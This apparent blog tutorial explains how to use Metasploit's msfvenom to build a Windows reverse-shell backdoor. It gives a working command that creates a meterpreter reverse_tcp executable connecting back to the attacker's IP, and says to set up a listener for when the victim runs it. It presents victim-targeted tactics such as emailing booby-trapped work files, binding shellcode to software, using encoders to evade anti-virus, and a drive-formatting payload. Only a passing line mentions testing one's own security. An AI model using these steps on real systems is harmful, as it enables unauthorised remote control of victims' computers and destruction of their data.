Complete Guide Msfvenom:-

Shellcode is code that when run creates a reverse remote shell back to the creator. Malicious Windows shellcode is the main attack vector by using which many corporations are getting exploited these days (Mr. Robots great example).

 

A hacker booby-traps a file with malicious code and then send that file to the employee of that company via email with some work related file name and most of the time they run the file. Once it is done then the attacker gets remote access to their computer and can perform any thing they want.

 

Now, most of the time what hackers do is bind there shellcode with some sort of software.

And it can also b used to hack smart phone here is a complete tutorial on how to do that:

How to Hack Android Smartphone Using Metasploit

And as soon as the victim runs the application it’s game over.

Another most commonly used method is to deliver shellcode to the vulnerable server or computers is uploading a shell to the vulnerable website. This mostly happens if the web server has outdated software or have badly written code. If the attacker can access this file over the internet, it gives them the power to fully manipulate or control the full web server.

Metasploit offers some great tools to create shellcode that can be used to test your computer and web server security against these types of attacks. In the previous version of Metasploit, this was done using “msfpayload” and “msfencode” commands. These utilities have now be replaced by the Msfvenom utility. If you are used to the previous utilities then using Msfvenom won’t be an issue as there are not many changes.

Uisng Msfvenom:

Now we will create the shellcode file using Msfvenom command and then will transfer the backdoor file to Windows machine. We then need to setup the Kali Linux machine for listening for the incoming connection from remote system. If everything works fine, we will get the reverse remote session on the target system.

  1. Open terminal and then type: “msfvenom

Now to create the reverse shell code we need to pick the platform we are going to attack and also can use different encoders which can help to bypass anti-virus and even add our shell code to an existing file.

  • To view the complete list of 400+ payloads just type ” msfvenom -l payloads

Take a minute and look through all the possible combinations. Some perform specific tasks like create a user , but some are more destructive like ” windows/format_all_drives ”  (aka ShellCodeOfDeath) which formats all mounted disks on the remote target when executed.

Also, the “ –help-formats ” switch lists the available output file types, and there are a lot of them.

We will be creating shells from the command line, but also need terminal running Meterpreter open to handle the incoming sessions. It may help to keep two terminal windows open, side by side, one being a regular terminal that can run the Msfvenom commands on the other one running Meterpreter, something like this:

Creating Reverse Shell Backdoor:-

Now we will show how you can create a simple backdoor for windows platform and get full access of it here we go.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Here is the screenshot of how thing will work.

and after that just setup a reverse handler shell :-

 

As soon as the victim run the file the attacker will get a reverse shell on his computer.

There are going to be more tutorials on Msfvenom in future until then share and learn 😉
